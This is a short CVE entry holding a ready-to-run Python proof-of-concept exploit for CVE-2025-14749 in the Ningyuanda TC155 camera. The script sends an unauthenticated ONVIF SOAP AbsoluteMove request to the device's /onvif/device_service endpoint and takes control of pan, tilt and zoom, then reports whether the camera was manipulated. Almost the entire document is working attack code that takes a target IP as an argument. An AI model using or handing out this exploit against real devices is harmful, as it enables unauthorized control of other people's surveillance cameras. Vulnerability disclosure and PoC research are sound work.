CVE-2025-14749 | Ningyuanda TC155 ONVIF PTZ控制接口未授权访问漏洞

import requests import xml.etree.ElementTree as ET # CVE-2025-14749 PoC - Ningyuanda TC155 ONVIF PTZ Unauthorized Access # Target: Ningyuanda TC155 < 57.0.2.0 # Component: /onvif/device_service PTZ Control Interface TARGET_IP = "<target_ip>" ONVIF_PORT = 554 PROFILE_TOKEN = "Profile_1" # ONVIF namespaces NAMESPACES = { 's': 'http://www.w3.org/2003/05/soap-envelope', 'tptz': 'http://www.onvif.org/ver20/ptz/wsdl', 'tt': 'http://www.onvif.org/ver10/schema' } def create_ptz_move_request(profile_token, pan=0.5, tilt=0.0, zoom=0.0): """Generate ONVIF AbsoluteMove request for PTZ control""" soap_body = f''' <tptz:AbsoluteMove> <tptz:ProfileToken>{profile_token}</tptz:ProfileToken> <tptz:Position> <tt:PanTilt x="{pan}" y="{tilt}" space="http://www.onvif.org/ver10/tptz/PanTiltSpaces"/> <tt:Zoom x="{zoom}" space="http://www.onvif.org/ver10/tptz/ZoomSpaces"/> </tptz:Position> </tptz:AbsoluteMove> ''' soap_envelope = f'''<?xml version="1.0" encoding="UTF-8"?> <s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope"> <s:Body>{soap_body}</s:Body> </s:Envelope>''' return soap_envelope def exploit_cve_2025_14749(target_ip, port=ONVIF_PORT, profile=PROFILE_TOKEN): """Exploit CVE-2025-14749 - Unauthorized PTZ Control""" url = f"http://{target_ip}:{port}/onvif/device_service" headers = { 'Content-Type': 'application/soap+xml; charset=utf-8', 'SOAPAction': 'http://www.onvif.org/ver20/ptz/wsdl/AbsoluteMove' } # Send unauthorized PTZ move command payload = create_ptz_move_request(profile, pan=1.0, tilt=0.5, zoom=0.5) try: response = requests.post(url, data=payload, headers=headers, timeout=10) print(f"[*] Request sent to {url}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text[:500]}") if response.status_code == 200 and 'Fault' not in response.text: print("[+] PTZ control command executed successfully!") print("[+] Camera pan/tilt/zoom may have been manipulated") return True else: print("[-] Attack may have failed or device not vulnerable") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": import sys if len(sys.argv) > 1: TARGET_IP = sys.argv[1] exploit_cve_2025_14749(TARGET_IP)